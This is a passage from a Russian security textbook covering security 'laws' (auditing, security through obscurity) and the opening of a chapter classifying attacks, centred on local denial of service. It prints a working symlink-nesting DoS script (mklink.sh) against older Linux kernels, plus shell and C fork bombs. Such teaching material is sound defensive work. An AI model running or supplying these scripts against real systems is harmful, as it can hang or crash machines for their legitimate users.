Функциональное тестирование значительно отличается от тестирования безопасности, хотя на первый взгляд это близкие понятия. Оба тестирования ищут дефекты программ, правильно? И да, и нет. Тестирование безопасности требует гораздо более глубокого анализа программы и обычно включает экспертизу исходного кода программы. Функциональное тестирование проводится для гарантии того, что большой процент пользователей сможет эксплуатировать программу без жалоб. Защититься от среднего пользователя, случайно споткнувшегося на проблеме, намного легче, чем попытаться защититься от хорошо осведомленного хакера, пытающегося взломать программу любым доступным ему способом.
Даже без подробного обсуждения того, что собой представляет аудит безопасности, его необходимость очевидна. Сколько коммерческих средств подвергается проверке безопасности? Практически ни одно. Обычно даже те немногие, которые имеют хотя бы поверхностный обзор безопасности, считаются безопасными. Хотя позднее часто становится очевидным, что они не прошли должную проверку.
Заметьте, что этот закон содержит слово «начала». Аудит безопасности – только один шаг в процессе создания безопасных систем. Для того чтобы понять, что в защите систем программного обеспечения полно недостатков, достаточно лишь ознакомиться с архивами списка отчетов любой уязвимости. Более того, можно увидеть одни и те же ошибки, неоднократно допущенные различными производителями программного обеспечения. Ясно, что это относится к классу систем, не подвергавшихся аудиту даже в минимальном объеме.
Вероятно, OpenBSD представляет собой один из наиболее интересных примеров роли аудита в разработке более безопасной системы программного обеспечения. С самого начала в проекте OpenBSD, являющемся ответвлением от главного проекта NetBSD, было решено обратить особое внимание на вопросы безопасности. Команда разработчиков OpenBSD потратила пару лет, занимаясь аудитом исходного кода для поиска и устранения ошибок. Разработчики исправляли любые найденные ошибки независимо от того, относились они к безопасности или нет. При нахождении общей ошибки они возвращались назад и просматривали все исходные коды, чтобы убедиться в том, что подобная ошибка не была сделана где-нибудь еще.
В конечном результате OpenBSD часто считается одной из наиболее безопасных операционных систем. Часто, когда обнаруживается новая ошибка в операционных системах NetBSD или FreeBSD (другой вариант BSD систем), в аналогичных условиях признается неуязвимость OpenBSD. Иногда причиной подобной неуязвимости является решение выявленной в других системах проблемы (случайно) во время обычного процесса исправления всех ошибок. В других случаях недостаток системы защиты был ранее выявлен и устранен. И в этих случаях системы NetBSD и FreeBSD (если в их составе была та же самая часть программного кода) были уязвимы, потому что никто не просматривал базу данных новых исправлений ошибок в OpenBSD (все исправления в OpenBSD обнародованы).
Примечание
Этот закон используется в главах 4, 5, 8 и 9.
Закон 11. Безопасность нельзя обеспечить покровом тайны
В основе обеспечения безопасности покровом тайны (STO – «security through obscurity») лежит идея о том, что что-то безопасно только в силу своей неочевидности, отсутствия рекламы или интереса с чьей-либо стороны. Хорошим примером является новый Web-сервер. Предположим, что вы разрабатываете новый Web-сервер, доступный пользователям сети Интернет. Вы можете подумать, что поскольку вы еще не зарегистрировали имя службы имен доменов DNS и нет пока ссылок на новый Web-сервер, то можно отложить реализацию защитных мер компьютера до начала ввода в эксплуатацию Web-сервера.
Проблема заключается в том, что сканирование портов стало постоянным явлением в Интернете. В зависимости от вашей удачи обнаружение вашего Web-сервера, вероятнее всего, – вопрос нескольких дней или даже часов. Почему разрешено сканирование портов? В большинстве случаев сканирование портов вполне законно, и большинство Интернет-провайдеров ничего не будет предпринимать в ответ на ваше заявление о том, что у вас сканировали порты.
Что может произойти в результате сканирования портов? Огромное большинство систем и пакетов программ небезопасны после их установки на компьютер. Другими словами, если вы подключаетесь к Интернету, ваш компьютер может быть относительно легко взломан, если вы не предпримите активных действий по укреплению его безопасности. Большинство злоумышленников, сканирующих порты, ищут известные им уязвимости. Если они присущи вашей системе, то у злоумышленников найдется программа, которая скомпрометирует Web-сервер за секунды. Если удача сопутствует вам, вы обнаружите сканирование портов. Если нет, вы могли бы продолжать «защищать» хост и только позже выяснить, что злоумышленник оставил лазейку (backdoor), которую вы не смогли заблокировать, потому что к этому времени были скомпрометированы.
Хуже всего то, что в последнее время огромное количество «червей» стало постоянным атрибутом Интернета. Они постоянно занимаются сканированием, выискивая новые жертвы типа только что появившихся незащищенных Web-серверов. Даже когда черви настроены миролюбиво, любой хост в Интернете подвергается зондированию пару раз в день. А когда черви агрессивны, то всякий хост зондируется каждые несколько минут за время жизни необновленного Web-сервера. Не следует думать, что оставленная брешь в системе защиты или ее нестабильная работа не сулит никаких неприятностей только в силу вашего предположения о невозможности обнаружения этого кем-либо. Через минуту новая дырка в системе защиты будет обнаружена, а вы – беззащитны. Злоумышленнику нет необходимости проводить многочисленные исследования раньше срока, поэтому он терпеливо выжидает. Часто сведения о дефектах в защите программ разглашаются очень быстро, что приводит к атакам на уязвимости слабозащищенных систем.
Неопределенность освещения некоторых вещей не обязательно плоха. Просто вы не хотите делиться информацией больше, чем это нужно вам. Вы можете воспользоваться преимуществами «темной лошадки», но не слишком полагайтесь на это. Одновременно тщательно рассмотрите возможности разработки сервера, вплоть до предоставления общественности исходных текстов программ сервера, для того чтобы специалисты смогли проанализировать их и при необходимости исправить найденные ошибки. При этом будьте готовы к одной или двум итерациям работы над исправлением брешей в системе защиты, прежде чем программа станет безопасной.
В какой степени необходима секретность? Одна из проблем обеспечения безопасности путем умалчивания состоит в том, что не существует соглашения, что именно следует хранить в тайне и что может рассматриваться как действительная тайна. Например, является ли ваш пароль тайной или просто «умолчанием», вероятно, зависит от способа обращения с ним. Если вы положили клочок бумажки с записанным паролем под клавиатуру в надежде, что его никто не найдет, то именно это авторы и называют неработоспособностью засекреченной безопасности, или говорят просто «мрак». (Между прочим, авторы прежде всего там его и искали бы. В компании, где работал один из авторов, использовали стальные кабели с замками, чтобы прикрепить компьютеры к столам. Его часто вызывали для перемещения компьютеров, а пользователи не раз забывали необходимые меры предосторожности при работе с ключами. Автор искал ключи в следующей последовательности: держатель карандаша, под клавиатурой, верхний ящик стола. При поиске ключа у него были 50 %-ные шансы на успех.)
Размышления по этому поводу основаны на здравом смысле. Личное мнение авторов по этому поводу состоит в том, что нельзя обеспечить безопасность замалчиванием проблемы. Не имеет значения, говорите ли вы о ключе от дома под дверным ковриком или о 128-битном криптографическом ключе. Вопрос состоит в том, знает ли злоумышленник то, что ему нужно, сможет ли он раскрыть нужную ему информацию. Одна из причин, по которой вам следует прочесть книгу, заключается в конкретном изучении, что злоумышленник может сделать. Многие системы и сайты просуществовали длительное время под покровом секретности, укрепляя свою веру, что нет никаких оснований для нападения на них. Мы увидим, является ли их компрометация вопросом времени или нет.
Примечание
Этот закон используется в главах 4 и 5.
Резюме
В этой главе авторы попробовали предварительно познакомить читателя с основными законами безопасности, апробированными в ходе их систематического практического применения. По мере изучения книги авторы подробно остановятся на обсуждении упомянутых в этой главе законов. Авторы изучили множество тем из различных сфер деятельности, чтобы сформулировать законы безопасности, отражающие их взгляды на эти вопросы. Они в общих чертах осветили некоторые положения безопасности, которые, возможно, малоизвестны читателю. Это должно способствовать развитию новых взглядов на некоторые типы уязвимости сетей. Авторы рассмотрели основы криптографии, а также начали рассматривать межсетевые экраны, программы обнаружения вирусов и системы обнаружения вторжения и заодно модификацию программного кода для их обмана, аудит и вопросы обеспечения безопасности при помощи засекречивания. Как читатель смог убедиться, не все законы абсолютны. Скорее они определяют направление работ, проводимых в попытках определить необходимые меры по обеспечению безопасности. Все эти работы нуждаются в постоянной оценке и внимании, если действительно решается задача обезопасить системы от атак злоумышленника.
Конспект
· Рассмотрены законы.
· Законы нужно знать для того, чтобы сделать систему более безопасной.
· Помните, что законы изменяются.
· Безопасность клиентской части целиком определяется клиентом.
· У пользователя всегда есть возможности для взлома системы защиты, потому что у него физический доступ к компьютеру.
· Если у злоумышленника достаточно времени и ресурсов, то безопасность клиентской части невозможна.
· Общая информация используется для идентификации компьютеров до установления сетевого соединения.
· Вы можете обмениваться общими секретными ключами (shared private keys) или использовать протокол безопасных соединений SSL при работе с браузером.
· Обмен ключами уязвим к атаке типа MITM (злоумышленник посередине (MITM).
· Программное обеспечение несовершенно.
· Программное обеспечение обнаружения вирусов и Троянских коней основано на исследовании сигнатуры файлов.
· Незначительные изменения в коде сигнатуры приводят к необнаружению измененного кода до момента выпуска следующего файла сигнатуры.
· Злоумышленники могут быстро изменить характерные признаки или сигнатуру файла.
· Злоумышленники могут использовать сжатие, шифрование и пароли для изменения сигнатуры кода.
· Нельзя защититься от каждой возможной модификации.
· Межсетевые экраны – это программные или аппаратные, или программно-аппаратные средства ЭВМ.
· Главная функция межсетевых экранов состоит в фильтрации входных и выходных пакетов.
· Успешные атаки возможны в результате ошибочных правил, несовершенной политики безопасности и проблем с обслуживанием межсетевых экранов.
· Системы обнаружения вторжения – часто пассивные системы.
· Для злоумышленника трудно обнаружить присутствие системы обнаружения вторжения.
· Эффективность системы обнаружения вторжения снижается в результате неверной конфигурации и недостатков обслуживания.
· Хорошие криптографические алгоритмы обеспечивают высокую степень защиты.
· Большинство криптографических средств не подвергаются достаточному исследованию и тестированию до начала использования.
· Единые алгоритмы используются в различных областях. Взломать их трудно, хотя и возможно.
· Этот закон универсален, не существует никаких исключений.
· Шифрование используется, чтобы защитить результат кодирования. Если ключ не используется, то нельзя ничего зашифровать.
· Ключи должны храниться в тайне, иначе ни о какой безопасности не может быть и речи.
· Пароли, сохраненные на компьютере клиента, легко обнаружить.
· Если пароль хранится в открытом виде (незашифрованным), то это небезопасно.
· Безопасное хранение паролей на компьютере клиента предполагает вторичный механизм обеспечения безопасности.
· Аудит – начало хорошего анализа систем безопасности.
· Системы безопасности часто не анализируются должным образом, что ведет к их дефектам.
· Внешняя проверка имеет решающее значение для защиты; ее отсутствие – дополнительное условие для атаки злоумышленником.
· Скрыть что-либо – не значит обеспечить безопасность этого.
· Необходима упреждающая защита.
· Использование только скрытия информации способствует компрометации.
Часто задаваемые вопросы
Вопрос: Сколько усилий я должен приложить для применения рассмотренных законов безопасности к интересующей меня специфической системе?
Ответ: Если вы исследуете систему для определения степени ее безопасности, то вполне можете использовать законы непосредственно, предварительно оценив время, которое вы можете потратить на исследование. Если анализируемая система общедоступна, то в Интернете вы наверняка найдете примеры использования вашей системы. Вероятно, вам придется потратить достаточно времени на проверку законов безопасности. Если законы безопасности будут применяться для анализа уникальных систем, то время исследования может увеличиться.
Вопрос: В какой степени я буду защищен после самостоятельного исследования системы?
Ответ: Частично это зависит от приложенных вами усилий. Если вы потратили разумное количество времени, то, вероятно, вы выявили очевидные изъяны в системе защите. Это уже гарантия вашей защищенности, поскольку начинающие хакеры именно их и будут искать. Даже если вы стали целью талантливого злоумышленника, он все равно может начать с них, и первые неудачи могут отпугнуть его. Поскольку вы, вероятно, найдете еще что-то за время своего исследования и обнародуете свои результаты, то каждый будет знать о найденных изъянах в системе защиты. Имейте в виду, что вы защищены против того, о чем вы знаете, но не против того, чего не знаете. Поэтому лучше поднять тревогу по поводу обнаруженных изъянов. Тем более что их устранение может оказаться непосильной задачей для систем с недоступными исходными текстами программ.
Вопрос: Когда я нахожу брешь в системе защиты, что я должен сделать?
Ответ: Ваши действия подробно описаны в главе 18. У вас есть выбор: или обнародовать все сведения о найденной бреши, привлекая максимально возможное внимание производителя системы, или самому написать код по ее устранению, если это возможно.
Вопрос: Как я смогу пройти путь от констатации проблемы до ее решения?
Ответ: Многие из глав этой книги посвящены описанию «дыр» в системе защиты. Некоторые «дыры» очевидны, например кодирование пароля в приложении. Другие могут потребовать применения дизассемблирования и методов криптографического анализа. Даже если вы очень хороший специалист, всегда найдутся методы, алгоритмы или аппаратура вне вашей компетенции. Поэтому вам предстоит решить, хотите ли вы развить свои профессиональные навыки дальше или обратиться за помощью к эксперту.
Глава 3
Классы атак
В этой главе обсуждаются следующие темы:
• Обзор классов атак
• Методы тестирования уязвимостей
· Резюме
· Конспект
· Часто задаваемые вопросы
Введение
Об опасности атаки судят по ущербу, который может быть нанесен скомпрометированной системе в результате нападения. Для домашнего пользователя худшее, что может произойти, – это стать жертвой атаки, приводящей к запуску программы злоумышленника на его компьютере. В то же время для компаний электронной коммерции опаснее атака, приводящая к отказу в обслуживании (DoS-атака, DoS – denial of service) или утечке информации, потому что она чревата более тяжкими последствиями. Любая уязвимость системы, которая может привести к компрометации, оценивается применительно к одному из известных классов атак. Зная сильные и слабые стороны класса атаки, можно предварительно оценить как его опасность, так и сложность защиты от него.
В этой главе рассматриваются классы атак, извлекаемая злоумышленником выгода из их осуществления и возможный ущерб, наносимый ими.
Обзор классов атак
Каждая атака принадлежит к определенному классу атак. Последствия атаки могут быть самыми различными: атакованная система может быть выведена из строя или удаленный злоумышленник сможет полностью контролировать ее. О последствиях атак речь пойдет в специальном разделе этой главы. Сначала рассмотрим классификацию атак, в основу которой положен наносимый ими ущерб.
Можно выделить семь классов атак, последствия которых отражают общие критерии оценки проблем безопасности:
• отказ в обслуживании (Denial of service);
• утечка информации;
• нарушения прав доступа к файлу;
• дезинформация;
• доступ к специальным файлам / базам данных;
• удаленное выполнение программ (Remote arbitrary code execution);
• расширение прав (Elevation of privileges).
Отказ в обслуживании
Что собой представляет атака, приводящая к отказу в обслуживании (DoS-атака)? О DoS-атаке говорят в том случае, когда в результате действий злоумышленника ресурс заблокирован или его функциональные возможности существенно ограничены. Другими словами, атака препятствует доступности ресурса его постоянным авторизованным пользователям. Атаки этого класса могут осуществляться как локально на автономной системе, так и удаленно через сеть. Они направлены на ограничение функциональных возможностей процессов, уменьшение объема запоминаемой информации, разрушение файлов. Подобные атаки преследуют цель сделать ресурс непригодным для работы или добиться завершения работы системы или процессов. Рассмотрим DoS-атаки подробнее.
Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.
Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).
Снижение функциональных возможностей процесса
По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.
Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=“”
I=0
while [ $I -lt $ELNUM ] ; do
P=$P“$EL”
I=$(($I+1))
done
ln -s “$P”l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:
($0 & $0 &)
Код на языке С следующий:
(main() {for(;;)fork();})
В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.
Переполнение диска
Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.
Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.